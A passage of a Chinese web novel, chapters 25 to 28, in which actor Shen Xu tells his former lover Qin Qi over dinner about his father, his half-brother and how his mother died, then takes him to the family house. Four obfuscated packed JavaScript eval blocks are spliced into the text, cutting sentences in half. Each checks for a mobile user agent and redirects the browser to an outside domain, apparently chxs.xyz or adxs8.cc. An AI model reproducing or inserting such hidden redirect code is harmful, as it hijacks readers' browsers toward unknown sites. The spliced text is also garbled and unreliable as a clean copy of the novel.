每天都有种马上就要英年丧偶的不安。 但是沈絮就这么歪着头看他。 就这么。歪着头。笑着。看他。 三秒后，秦祁妥协了。 但是众所周知，在人困得不行的时候强制开机，就会得到一个，虽然能够运行但会三步八个bug的人。 比如沈絮这边刚去下完单，一转身就发现某人离被豆浆淹死就差那么一厘米的距离。 沈絮赶紧三步并两步地跑过去把秦祁的脑袋捞起来。 然后看着秦祁茫然且充满困意的眼神，以及他前面几撮沾上豆浆的头发，沈絮第一次觉得自己的良心和笑点在打架。 不过回去以后，秦某倒是仗着沈絮那难得的一点愧疚，让人保证以后绝对不熬夜到通宵。 除此之外，秦某还额外索要了不少福利……此为后话不谈。 秦祁这会看着沈絮的眼神，马上也想到了同一件事上。 “……这也能怪我吗？” “当然是怪我，”沈絮说，“所以我这不是赶紧改正了么。” 不仅让人睡饱，还提供人文关怀，保证秦祁的睡眠质量呢。 “好吧，”秦祁真是拿他没办法，“那沈老师这是给我带哪来了，已经找好卖家了吗？” 这黑灯瞎火的停车场，看着真是怪瘆人的。 虽然说离这一两百米的地方就是一片灯火通明，能很明显地看出人气兴旺。 但就是这也才更让人害怕。 感觉就像是所有人都在热闹里，只有自己被困在这没有半点人烟的鬼地方，明明离喧闹很近，却怎么都走不过去。 不过…… 秦祁侧头看了看坐在驾驶座上的沈絮，想，如果把此刻看成是二人世界的话…… 还没等他想好后面的内容，沈絮就翻了个白眼，开口把所有乱七八糟的念头都三下五除二地驱散了。 “睁眼看看吧秦老师，这旁边都是大学，”沈絮笑着皱皱鼻子，“把你剁成块按猪肉价卖，都不一定能找到一个愿意全款拿下的。” 秦祁无言以对，只好老实跟着沈絮下车。 沈絮倒显得轻车熟路，三拐两拐地就带着秦祁进了一家人声鼎沸的店。 店面倒是不小，在周围一带恐怕可以排上前三。店里的装修虽然称不上精致，但倒也干净大气。 最重要的是，还没等进店，秦祁就闻到了阵阵扑鼻的香气。 本来刚睡醒没什么食欲的秦祁，在这一瞬间，感觉自己饥肠辘辘。 短短几秒，秦祁就明白了为什么这家店能在大学附近生意兴隆。 也亏得沈絮能找着。 就是…… “沈老师，”秦祁往上拽了拽口罩，凑到沈絮耳边问，“我们真的不会太显眼吗？” “没关系，”沈絮目不斜视地领着秦祁往里走，“我保证这里的东西好吃到就算你死在这里也无人在意的。” 秦祁狠狠噎住。 “再说了，被拍到和我一起出来吃饭是什么很丢脸的事吗？”沈絮终于侧头看他，嘴里却没什么好话，“秦老师，难道我是小三？” “当然不，”秦祁一脸正气，“我就喜欢跟沈老师一起摘了口罩在大厅吃饭。” “这样啊，”沈絮刚要踏上楼梯的脚突然刹住，“其实我本来定了包厢的，不过你既然这么说……” “但是话又说回来，”秦祁忙推着沈絮的肩把人往楼上带，“还是跟沈老师一起过二人世界最舒服。” 沈絮挑挑眉，就这么半推半就地被秦祁揽着上了楼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796860|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等终于在包厢里坐下来，沈絮径直拿过菜单翻看，秦祁对自己丧失点菜权这件事也一副习以为常的模样。 这家店主打的就是鸡煲，沈絮简单看了下菜单后，点了个干焖的肥肠鸡煲。 虽然干焖的酱汁会比汤锅浓郁很多，但考虑到秦祁那重油重盐的口味，沈絮还是问了句：“要去帮你调个料汁吗？” 刚刚上楼的时候，沈絮有注意到前台旁边的调料台。 “没事，别折腾了。”秦祁说。 沈絮遂作罢。 等待上菜的时间有些无聊，但此刻气氛又还没到能开口谈事的时候，相顾无言片刻，沈絮终于绷不住笑了。 “咱俩要不玩会手机吧，”沈絮摆摆手，“老干瞪着眼也不是个事啊。” 也是碰巧，杂志方把采访的粗剪版发给了沈絮，想要再次确认那个关于情感观的问题能不能发。 沈絮一个顺手就点开了视频。 “但直到我真的开始一段感情的时候，我才发现……” 沈絮轻轻“啊”了声，敲击两下屏幕，暂停了视频。 但秦祁已经被声音吸引，下意识看了过来。 就是在这么猝不及防下，沈絮再次和秦祁对视。 其实现在的气氛依旧不是最好的。 或许他们应该像上次在山顶的酒店那样，用一件小事打开谈兴，慢慢由浅到深地解开他们之间的心结。 或许他们应该…… 但又或许，不是每件事的进行都需要一个所谓的“最佳时机”。 所以，在秦祁体面地把视线挪开前，沈絮选择了开口。 他说：“我之前一直觉得，人应该活得自由。当一段感情让我感觉被冒犯、被束缚，那就应该果断结束它。” 此刻沈絮的措辞比采访时还要更锋利几分。 但秦祁依然看着他的眼睛，颇有种撞碎南墙也不回头的莽撞。 但这次，他从那双桃花眼里看到的不再是寒冰。 他看到了一江春水。 沈絮说：“但直到我真的遇到你，直到我们真的走到那一步，我才发现……” “其实我舍不得。” 沈絮拿过一旁的啤酒，给秦祁倒了一杯，从桌面上推过去：“不管今天聊到最后，我们的结局是怎样，我觉得你应该知道这个。我也，很想告诉你这个。” 秦祁接过酒杯，只是问：“沈老师不喝吗？” 沈絮笑：“留一个开车的吧。” 于是秦祁一饮而尽。 然后，他又主动满上，向沈絮举杯：“这杯敬你，沈絮，谢谢你的坦诚。” 沈絮说：“不用谢我，这是你值得的。” 沈絮好像还想再说些什么，但拉开包厢门来上菜的服务员打断了他。 于是他们又这么沉默着，看服务员在桌上升起炭炉，又把满满一锅鸡肉放在炉子上。 房间里太安静了，以至于他们可以清晰地听见炭燃烧时带来的“噼啪”声。 一下又一下，好像在催促着什么。 直到包厢门再次被合上，沈絮才再次开口。 “我之前总是说你毫无长进，其实当然是在说谎。”沈絮拿起公筷，在锅里翻了几下，夹给秦祁一块鸡腿肉，“如果你真是那样，我今天依旧一个字都不会讲。” 26. 第 26 章 “沈老师真是慕强，”秦祁说，“还好我现在也算强大。所以今天能毫不脸红地回你一句，谢谢认可。” 沈絮伸出手隔空点点他，道：“真是爱死你这大言不惭的样子了。” 秦祁大约察觉出沈絮今天要讲的事情不会太愉快，也不忍心让他在累了一天以后还要被那些乱七八糟的东西影响食欲，于是在沈絮吃饱前都只是闲聊些日常趣事。 直到看到沈絮动筷子的频率越来越低，一块肉分十几口慢慢嚼的时候，秦祁才主动放下筷子给沈絮的杯子倒上酒，把主场交给对方。 沈絮有些无奈：“我们一定要因为醉酒后边抱头痛哭边找代驾而上热搜吗？” 留一个开车的吧。 于是秦祁起身把酒杯拿到自己手上，说：“那就我喝，沈老师看着我醉就好了。” 沈絮就笑，也没有阻止秦祁。 毕竟他其实也很好奇，五年过去，秦祁的酒量到底有多少长进。 毕竟之前的秦祁，说他安分吧，他又满世界乱跑，各种极限运动都来。但要说他野呢，这人十几二十年来又几乎滴酒不沾。 家里倒不禁止他这些，就是他自己嫌难喝。 沈絮还记得他第一回带秦祁回自己的公寓，那天晚上沈絮开了瓶酒，问秦祁要不要给他倒一杯。 “不要，”秦祁皱皱鼻子，“自从我试了三款酒，每个都把我苦一跟头以后，我就知道我跟这玩意是无缘了。” 沈絮也随他。 于是那晚，沈絮喝威士忌，秦祁在旁边用可乐作陪。 一口闷下去，秦祁反而呛得要死，沈絮内心笑得想死，表面还要一脸淡定帮他拍背。 也是亏得沈絮惯他，在一起的两年里，秦祁“不能喝酒”的人设居然一点没破。 那段时间里，秦祁但凡是有大点的应酬场面，沈絮基本都会想办法和他一块儿去。 然后秦祁就只需要跟在沈絮屁股后面，像过年走亲戚一样笑脸叫人，然后听着对面夸奖自己。 至于喝酒？沈絮会帮他搞定。 因为沈絮，秦祁在圈里的头两年可谓顺风顺水，基本没吃过什么苦头。 在维护秦祁这件事上，谢兰在沈絮面前也是自愧不如。 “我是把你当自己亲手带大的崽，”谢兰说，“沈絮那简直是把你当亲生的来看啊。” 秦祁：“……停。这话可不能乱说。” 正因如此，他们在一起这件事，在圈里从来不是什么秘密。 分手大概也不是。 沈絮看着秦祁在自己的注视下举杯，然后面不改色地喝完那杯酒，忽然觉得有些遗憾。 遗憾那些被错过的光阴。 沈絮说：“其实没说出口的东西太多，我一时间也不知道要从哪说起……不如你来问我吧。” “你想知道什么？我都告诉你。” 秦祁欲言又止好几次，试图找一个不那么锋利的切入口：“沈若……” “是我同父异母的弟弟。”沈絮主动接过话头。 “其实也是一个很俗套的故事，因为相信爱情，我妈妈进入了这段婚姻，但最终证明她所托非人。”沈絮抓着筷子，无意识地在戳碗里的肉，“我第一次见沈若，应该是我五岁的时候。他被他妈带过来，就像带着一块虎符一样，上门……逼宫。” 说到这里，沈絮自己先讽刺地笑起来。 这个故事真是太烂俗了，老套到狗血八点档都已经不怎么乐意拍。 但它就是这么现实地发生着，悄无声息地拉开了一个女人悲惨的序幕。 “说起来你可能不信，我一开始跟沈若的关系其实还行。” 不出沈絮所料，秦祁因为惊讶，稍稍瞪大了眼。 “因为我妈她一直觉得，小孩子总是无辜的。”沈絮看着碗里已经被戳得稀碎的鸡肉，有些嫌弃地撇嘴，用筷子把肉块拨了出去，“她是这么认为的，也是这么告诉我的。” 但是，或许刚出生的沈若是无辜的，但当他在那个女人缔造的，充满野心的泥沼中长大，被污泥彻底同化的他，就注定不可能像刚出生时那样干净。 “我确实一直不怎么喜欢他，但如果能让我妈省心一点，我愿意和他相安无事，甚至假装兄友弟恭。” 秦祁又给沈絮夹了块肉，接话道：“但是？” “但是。”沈絮点头，“高三那年，有一天我放学回来，刚一进门，突然就挨了沈华辉一巴掌。” 秦祁过了几秒才反应过来，沈华辉就是沈絮父亲的大名， “说实话，”沈絮神色复杂，“那其实是我十八年来，第一次在家里挨打。” 如果那还算得上家的话。 沈华辉这个人很奇怪，他一边管不住自己的下半身，四处留情，一边又坚决认为只有沈絮的母亲才是他的真爱，只有沈絮才算他真正的孩子。 所以这么多年，或许沈董事长私下里早就子子孙孙无穷尽也，但真的被他承认的，除了沈絮，也就只有抓准时机，卖惨卖到点子上的沈若了。 “这种豪门恩怨，听起来会反胃吗？”沈絮问。 没开口时以为很难，但真的开始讲了，沈絮反而有些刹不住车。 大概是这些事情堵在他心里实在已经太久，好不容易有个缺口，就都不要命一样地往口子里挤，争先恐后地要往外涌。 但看到秦祁的脸色有些奇怪，沈絮又想起来，虽然只短暂接触过几面，但不难看出秦祁的父母感情甚笃，家庭关系也相当和谐。 乍一下听到这种充满腌臜龌龊的豪门恩怨，不舒服也是理所应当的。 沈絮说：“如果听着不舒服，我就简单讲完，你问下一个吧。” 秦祁抿了口酒：“不是因为这个——你接着讲你想讲的就好。” 沈絮于是顿了顿，似乎在回忆自己刚刚讲到哪。 “其实我一直都知道，只要我愿意服服软，沈若和他妈的日子就会很难过。”沈絮说，“但我就觉得，凭什么呢？” “沈若他们充其量也就是帮凶，我为了对付他们，还要去讨好罪魁祸首？” 沈絮心里一直清楚，到底是谁导致了这一切。 因此他对沈华辉的反抗一次强过一次。 在沈华辉看来，就是沈絮“越来越不服管教了”。 而把沈若接回来，就是沈华辉对沈絮的一次警告。 沈华辉希望自己对家里的一切永远有绝对的控制权，但日益成长的沈絮让他越发不安。 他需要一个靶子，来跟沈絮对抗。 但沈絮总不如他所愿。 “我一直不愿意顺着沈华辉来。那时候的我总是想，如果连我都去讨好沈华辉，那我妈怎么办呢？她在那个家里就真的孤立无援了。”沈絮说。 但之后，他又陷入了长久的沉默。 “只是那天以后，我有时又会后悔。”沈絮低头，眼角有细光一闪而过，“如果我之前能服一服软，妈妈是不是就不会死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802001|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 在那一瞬间，秦祁的呼吸几乎停滞了。 沈絮下意识往前伸手，觉得不远处应该有一杯酒。 但他的手落了空。 他这才想起来，刚刚秦祁是直接拿走了他的杯子。 秦祁见状，问：“想喝酒？” 说这些事当然不会好受，如果喝点酒能让沈絮痛快一点，那又何乐而不为？ 至于开车，千里马不好找，司机还不好找吗？ 但沈絮想了想，却说：“算了。” 沈絮单手托腮，看着秦祁，桃花眼弯了弯：“你往右边挪挪就好。” 秦祁当然照做，挪完才问：“怎么了？” “没什么，”沈絮说，“刚刚你有一半不在光里，我看不太清。” 秦祁按了按心口，说：“沈老师，我要醉了。” 沈絮的嘴角上扬几分，让刚刚的郁气也散去些许。 于是他接着说下去。 “那天傍晚，我一推开门，就被沈华辉扇了一巴掌。紧接着，他就质问我为什么要叫人把沈若堵在小巷子里打。我一转头，就看到沈若正缩在沙发上，身上青一块紫一块的，医生蹲在旁边，眉头紧锁地帮他处理伤口。” “我当时心想，放特么什么屁呢，我要揍他早揍了，用得着忍到现在，用得着借别人的手？”沈絮说，“我是这么想的，也就这么说了。” 用脚也能想得到，这么说无疑是再度激怒沈华辉。 “我跟沈华辉谁也不能说服谁，吵来吵去，我的火气也上来了，一把推开他就往沈若那走。”沈絮说。 他边走边嚷嚷：“好，行，我今天就把这罪名坐实了！” 那时的他那样年轻，还不知道一时的冲动可以毁了一切。 见沈絮不仅不认错，甚至还敢当着自己的面动手，沈华辉火冒三丈，冲上去就要再给沈絮一巴掌。 沈絮哪里能干站着让他打？他回身一把拽住沈华辉胳膊，抬手就把人往后推。 沈华辉见他还敢还手，更是勃然大怒：“我看你就是被你妈惯坏了！我没空管你，她就把你也教成这副没家教的样子！” 听到沈华辉抹黑母亲，沈絮实在忍无可忍，当即调转枪口，一来二去之间，两人就扭打到一起。 但十七八岁的少年想压制住三四十岁正当壮年的男人，还是有些难度的。 不多会，沈絮就落了下风，沈华辉的拳脚一下又一下，结结实实地落在他身上。 于是客厅乱作一团。 打人的、挨打的、劝架的、拉偏架的…… 一时之间简直热闹非凡。 沈絮的妈妈顾女士，本来因为身体不太舒服，正在卧床休息，听到动静出来一看，顿时惊得不行。 顾女士急忙跑下来拉架，但病中虚弱的身体怎么可能拉开火气上头的沈家父子？ 更别提还有个沈若在一旁，看似回护她，实际就是圈住她的手脚，不让她上前帮忙。 沈絮和沈华辉的对骂，沈若添油加醋的低语，扑到沈絮身上的顾女士对沈华辉的劝说…… “啊！” 一切的一切，都终止在一声尖叫中。 血气上涌的沈华辉终于在顾女士扑上前拽住他手臂的那一刻忍无可忍，把人猛地往外一推！ 但他忽略了还在病中的顾女士根本无力保持平衡，毫无防备地被一把推开，她当即就仰头向后摔去。 而她身后，正是那，有着尖角的茶几。 27. 第 27 章 “我还记得，妈妈留在这世上的最后一句话是什么。” 沈絮说：“她说，‘我知道，小絮不是那样的人’。” 当时那个病房里其实站满了人，谁也不敢确定顾女士这句话是对谁说的。 是在安慰她无论如何也割舍不下的孩子，还是在向怒火尚未熄灭的丈夫说情？亦或是，只是想要在众人面前把事实定下，让这件事以后也无法威胁沈絮的地位？ 但当时的沈絮并没有想那么多。 他的眼里只剩下了顾女士渐渐灰白的脸。 无意间握住拳，沈絮就感觉到手指间的一片粘腻。 那是没被完全洗掉的血迹。 …… “她在死前都在替我辩解，说我不是那样的人，但我在那之后却常常想……我如果真的是那样的人就好了。”沈絮偏过头看着窗外，久违地觉得呼吸有些困难。 如果他真的一直苛待沈若，那被沈华辉指责时想必也不会那么愤怒，不会一时冲动就跟沈华辉扭打起来。 而顾女士知道他的尿性以后，大概也会觉得，该让沈絮这个坏孩子得到点教训，就不会……就不会那样拼命地冲上来阻拦沈华辉，也就不会有后面的惨剧。 或者，如果沈絮从一开始就学着听话一点，多说点好话，多对沈华辉服软，那面对沈若的污蔑，沈华辉也就不会不分青红皂白地上来就向沈絮问罪。 明明有这么多办法能避开那天的争执，可沈絮却只是一意孤行地按照自己想法来。 所以他就收获了他最不想得到的结果。 沈絮动作粗暴地扯开最上面的两颗扣子，却并没感觉到舒服多少。 “我坏的不够彻底，也没有乖到深入人心……”沈絮闭上眼，盖住眼睛深处那细碎闪烁着的光，“是我罪有应得。” 他愿意为自己那一次的任性负责。 从向沈若走去的那一刻起，从挥拳向沈华辉的那一刻起，沈絮就做好了那天无法妥善收场的准备。 或许会得到十几年来头一次的毒打，或许会失去他本该拥有的那些股份，都可以，沈絮都不在意。 只是他没想到，竟然是妈妈来替他承担了这次任性的代价。 沈絮最后成了那场闹剧的最大赢家。 沈若不入流的小把戏被三两下拆穿，沈老爷子亲自拍板把他从沈家赶了出去。沈华辉从此以后对沈絮有了挥之不去歉疚感，对沈絮的容忍度高了不知道多少…… 然后，他们就来跟沈絮说，算了。 罚也罚了，人都走了，再死抓着不放也没什么意义，算了吧，往前看吧。 也不能说他们的话没有道理，但刀子不落在自己身上，总是不知道疼的。 秦祁当然明白这一点，所以他看着沈絮黯然神伤的面容，无论如何也说不出“不是你的错”这种空洞而无用的安慰。 因为这跟那些“算了吧”，没有什么本质区别。 但他一时也没有想出什么更好的办法来安抚沈絮。 秦祁思考几秒，最终也只循着本能站起身来，走到沈絮椅子旁边蹲下，仰头看着他。 沈絮感觉身边似有微风拂过，接着一个暖源就在自己脚边停留了下来。 他微微睁开了闭着的眼，伸手轻轻摸摸秦祁的发顶，问：“怎么了？” 秦祁说：“没怎么，只是觉得，我离你近些的话，你可能会好受点。” 沈絮笑了笑，倒也没反驳。 他只是说：“还有什么想问的就赶紧问吧，这种规模的访谈会，估计是没有第二次了。” 不然他实在是招架不住。 但秦祁也不想因为自己的好奇心再让沈絮伤神，因此埋头苦思好一会，想着要问一个温和点却又不显得突兀的问题。 沈絮伸手挠挠秦祁的脸，说：“想问我小时候的事也可以的，虽然刚刚的事听起来挺惨烈，但我其实没什么童年阴影。沈华辉又不打我，我在沈家没人敢惹，过得挺滋润。” 秦祁叹口气，欲言又止片刻，还是选择开口：“不是没挨过打就叫过得好的。” 沈絮没接话，只是弹了下秦祁的鼻尖，像是嫌弃他太聪明。 秦祁吃痛地猛一闭上眼，身体却依旧稳在原地，没后退半步。 “真没要问的了？” 秦祁挨了一下，倒是真想出点什么：“我真是你初恋吗？沈老师之前有没有喜欢过谁？跟我分手以后呢？” 这话题跳得还是有点快了，沈絮差点没跟上。 “这都是哪窜出来的醋劲？”沈絮这回是真有点被逗乐了，本来只是垂着眼，分出一点目光来看秦祁，现在倒好，一双桃花眼算是彻底睁开了。 沈絮倒还真认真回想了一下，说：“初恋这事倒是真的。至于分手以后有没有再喜欢上谁……” 沈絮拖长了尾音，而后不再接着说，就这么钓着秦祁胃口。 秦祁也配合，毫不犹豫就上钩了：“不是，真有情况啊？是谁？三年前那部民国片里的男二？还是你马上要上的那部片子里的那个新人？” 沈絮依旧笑而不语，甚至闭上嘴往椅背上靠了靠，拉开了和秦祁之间的距离。 于是秦祁顺势站起身，抓着椅背，一把将沈絮圈住。 沈絮微微启唇，却还是什么都没说，只是安静地注视着秦祁，桃花眼微微弯起，等待着秦祁下一步的动作。 秦祁和沈絮对视片刻，率先移开了目光。 紧接着，他抓着沈絮的肩，把人一点点地往自己怀里带。最后，他弓着腰，紧紧环抱住了沈絮。 或许有的肌肉记忆真的可以维持五年，不然要怎么解释，在秦祁抱上来的那一刹那，沈絮下意识地偏了偏头。而那让出来的位置，正好够秦祁把自己的脑袋搁在沈絮的颈窝里头。 那一瞬间，好像时光静止，又好像岁月倒流。 沈絮轻轻把脸颊靠了回去，然后不出所料地感觉到了秦祁在慢慢地蹭他的脖子。 包厢里响了一整晚的对话声，此刻终于静止。 此刻，不大不小的空间里是那样安静，却安静地令人安心。 门外，是模模糊糊地吆喝声，是属于世界的人声鼎沸。 门内，是交错缠绕的呼吸声，是独属于彼此的心意相通。 故作轻松的笑容淡下去了，沈絮就这样窝在秦祁怀里，双眼放空地开始反刍过去。 这样自我凌迟的夜晚，他这些年里过过许多。 只是那些日子里，没有通明的灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815803|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光，没有身上那带来温暖的怀抱。有的只是一瓶，入口辛辣的烈酒。 那些经历又在沈絮脑海里走完一轮，奇怪的是，今晚他竟然因此感到平静。 那些黑暗里的崩溃与歇斯底里，好像变成了很遥远的事情。 良久，沈絮抬手，轻轻搂住秦祁。 沈絮的左手一路从秦祁的背移到他的头顶，秦祁的发丝就这么被夹在沈絮修长的手指间。 沈絮揉揉秦祁的脑袋，说：“没有，和你分手之后，我没再和谁在一起过。” 过了几秒，沈絮听到自己耳边传来一股闷闷的声音。 “那就是有喜欢过别人咯？” 沈絮：？ “歪理。”沈絮一颠肩膀，立刻就让秦祁的脑袋飞起来，让此人被迫松开了怀抱。 “恼羞成怒。” 秦祁虽然被迫松开，却依然不死心，还是把沈絮圈在自己和椅背之间。 沈絮有些无奈：“弓着腰不难受吗……没有，没喜欢过别人，快站直吧，看着都替你腰酸。” 秦祁低下头，仔细盯着沈絮的脸看了好一会，确认沈絮的情绪确实从低落回复到了正常值后，才乖乖松手，拉开了和沈絮之间的距离。 秦祁就这么一路老老实实地退回到沈絮对面，拉开椅子坐了下来。 沈絮见状挑挑眉：“这下是真问完了？” 其实俩人都清楚，这才哪到哪，刚开了个头罢了。 但来日方长，秦祁也不急于一时。 刚折腾了一天，好不容易出来吃顿好的，一开始聊，情绪又开始大起大落的。这一天下来，真是从里到外都被透支干净了。 秦祁有意让沈絮缓口气，就顺水推舟地点了头：“暂时问完了。” 沈絮听出他话里那点别有所指的小意思，却也懒得戳穿他，只是拿起一旁的公筷，从锅里挑挑拣拣，又夹了一筷子扔进秦祁碗里。 “吃的都堵不住你的嘴。” 鸡肉早就被吃得七七八八，剩在锅里的基本只剩些配菜。秦祁低头一扒拉，果不其然，碗里多了块土豆。 秦祁用筷子把土豆戳散，说：“其实我还是更喜欢用沈老师自己筷子夹过来的菜。” 说完，就一边盯着沈絮，一边慢悠悠地分好几次把碎成几块的土豆吃完了。 这厮夹菜的时候都不带看碗一眼的，现在居然一次都没有戳歪，也真是天赋异禀。 都给沈絮看笑了。 “我还没有答应跟你复合的，秦老师，”沈絮抱臂，道，“注意分寸啊。” “什么复合？我怎么不知道我们分手了？”秦祁佯装惊讶，“当年咱俩谁都没提这事，那我分明还是正宫啊。” 沈絮心说死小子原来在这等着我呢。 “不好意思，在我这儿，三天没联系的就已经自动销户了，”沈絮说，“看在是初恋的份上我还给秦老师你过了头七，咱俩之间早八百年就是过去式了。” “好无情啊。”秦祁叹，“好吧，过去式先生，能发发好心送我回去吗？” 沈絮思忖片刻，身体前倾，向秦祁勾勾手指：“秦老师，要不要被我诱拐一下？” “嗯？” “想不想去我家老宅看一看？” 28. 第 28 章 直到坐上沈絮的副驾那一刻，秦祁的脑子还是处于一个不太清醒的状态。 居然又被沈絮招招手就带走了，真是没出息…… 秦祁默默在心里唾弃了自己三秒，然后心安理得地靠在车窗上看沈絮调导航。 果不其然，沈絮选择的目的地又是一个著名的豪宅区。 真是少爷啊。 秦祁翘起二郎腿：“大家都说沈老师名下的豪宅不少，结果还只肯告诉我一两个，咱俩这关系看起来确实不怎么样啊。沈老师，我真的够格去你家老宅参观吗？” “是该洗车了哈，”沈絮抽抽鼻子，“车里莫名其妙一股酸味。” 秦祁叹气：“果然，我在沈老师心里的地位还不如你的爱车。” 沈絮：…… “市中心有三套公寓，城郊有三四套别墅，然后市里还有几套大平层吧，剩下一些比较小的记不清了。”沈絮一口气报完，睨了秦祁一眼，“满意了没？” 秦祁：…… 这喷不了，这是真少爷。 “好无聊啊，沈老师娶我吧，我想来分你的钱。” 沈絮轻嗤一声：“醉得不轻。” “好吧，”秦祁很懂退而求其次，“那沈老师打算什么时候带我去参观一下剩下的地盘？” 沈絮说：“等哪天看你不顺眼的吧。我有一套别墅旁边就是山道，到时候换辆车带你上去飙一轮。” “……包活吗？” “那你别管。” “行吧，”秦祁妥协，“起码证明沈老师愿意跟我殉情。” 沈絮挑眉，倒是没反驳。 或许是夜已深，一路上倒没怎么堵车，两人很顺利地就到达了目的地。 秦祁跟着沈絮一块下了车，看着沈絮走到大门边，然后突然停住脚步，回身看着自己。 “怎么了？”秦祁问。 沈絮说：“没什么，只是突然想起来，其实我前几次回这里，都没发生什么好事。” 上上次是那场不欢而散的“家宴”，那次后除了有次回来给这房子换锁以外，沈絮就没再回过这边。 就算是换锁那次，沈絮也没进门。 然后就一直到前一阵，他和秦祁被私生堵在地下车库那天。 本来过来的时候就没什么好心情，结果还没进屋就撞上了沈若。 ……简直不堪回想。 “沈老师话里有话啊。”秦祁听出点什么，上前跟沈絮挨在一起，低头逗他。 之前回来都没发生什么好事，那这次呢，是算例外吗？ 沈絮右手抵住秦祁心口，把人往外推，晃晃头：“我可什么都没说。” 秦祁很懂沈絮“不否认就是承认”的那套，乖觉地往后退半步，爪子却顺势抓上了沈絮贴在他胸膛上的手。 沈絮象征性地甩了甩，当然是没甩脱。 于是他也不管了，就用这么个有些别扭的姿势去扫脸开门。 “认证失败。” “认证失败。” “认证……认证……认、认、认……认证失败。” 可能是这锁也有那么些年头了，变得有点人工智障起来。一看到摄像头里每时每刻都是两张脸，就完全不知道该扫谁，只好一个劲报错。 沈絮气笑了，回头给了秦祁一下：“滚远点。” 秦祁欠不楞登地直摇头。 沈絮心说摇头是吧，一把把被秦祁攥住的右手抽出来，往后一捞就兜住了秦祁的脖子，紧接着就狠狠往下一压！ “哎！” 秦祁一个踉跄，一手搂住沈絮的腰，另一只手连忙在门上撑了一下，这才没摔个狗啃屎。 “认证成功。” 没了那个不知死活的混蛋，沈絮只用了一秒就顺利扫开了门。 “沈老师好狠的心，”秦祁好不容易站直，“这简直就是谋杀啊。” “那又怎样？”沈絮捏住秦祁下巴晃了晃，说，“去告我啊。” 秦祁当然不敢。 “要冷死了，快进屋吧沈老师。”秦祁赶紧转移话题。 但沈絮却保持着这个姿势，把秦祁的脑袋左晃右晃，来来回回打量了个遍。 秦祁：？ 直到秦祁因为配合着沈絮的动作，弯着的腰都有些酸了，沈絮这才大发慈悲地松开手。 “怎么了？”秦祁站直身子，拍拍手，问，“沈老师是在看我的姿色够不够格进门吗？” 沈絮： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14823871|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你觉得呢？” “我怎么敢胡乱猜测君心。” 沈絮就笑了，又摁着秦祁的头。把他往自己这边退了几步。 “看镜头。” “嗯？” 秦祁下意识照做，然后还没反应过来，就被智能锁上突然亮起的闪光灯狠狠晃了下眼睛。 “……沈老师。” 沈絮笑得不行：“哎呀不好意思，忘了这茬了。” 秦祁皱皱鼻子，刚想说什么，又被锁上的人工智障打断。 “录入成功。” 秦祁愣住：“录入什么？” “面部数据啊，”沈絮说，“以后你就可以自己扫脸进来了，满意了吗，爱妃？” 秦祁这回是真傻眼了。 他转过头去盯着智能锁上的屏幕，沉默几秒后，实在没忍住，在上面戳了几下。 然后他就如愿看到了系统里收录的所有面部数据。 只有两个。 这句意料之中，真是不知道该不该说。 “愣着干什么，进去啊。”沈絮推推秦祁，“不是说冷？” 秦祁下盘很稳，加上沈絮也没怎么用力，因此他依旧一动不动地站在原地，稳如泰山。 秦祁组织了一下语言，小心翼翼地问：“你真的想好要……” 真的想好了，要把他的面部数据加入到这座别墅的系统里吗？ 为什么在今天之前，这栋房子的门锁只有沈絮一个人能打开，秦祁不得而知。 但他能猜到的是，为了这个结果，沈絮一定付出了他人所不能想象的努力。 沈絮愿意在时隔多年后，把这份权限和秦祁共享，他当然高兴。 但他更害怕这是沈絮的一时冲动。 毕竟他们自己现在的关系都还是稀里糊涂的一团乱麻。 在这马上就可能失而复得的关头，秦祁比谁都小心，比谁都害怕出意外。 他怕沈絮一时冲动做下某些决定，让他们在清醒时分尴尬不已。 毕竟，揠苗助长的结局是什么，没有人不知道。 但沈絮只是很认真地看着秦祁的眼，说：“我很清醒。” “这五年里，我从没如此清醒过。” 29. 第 29 章 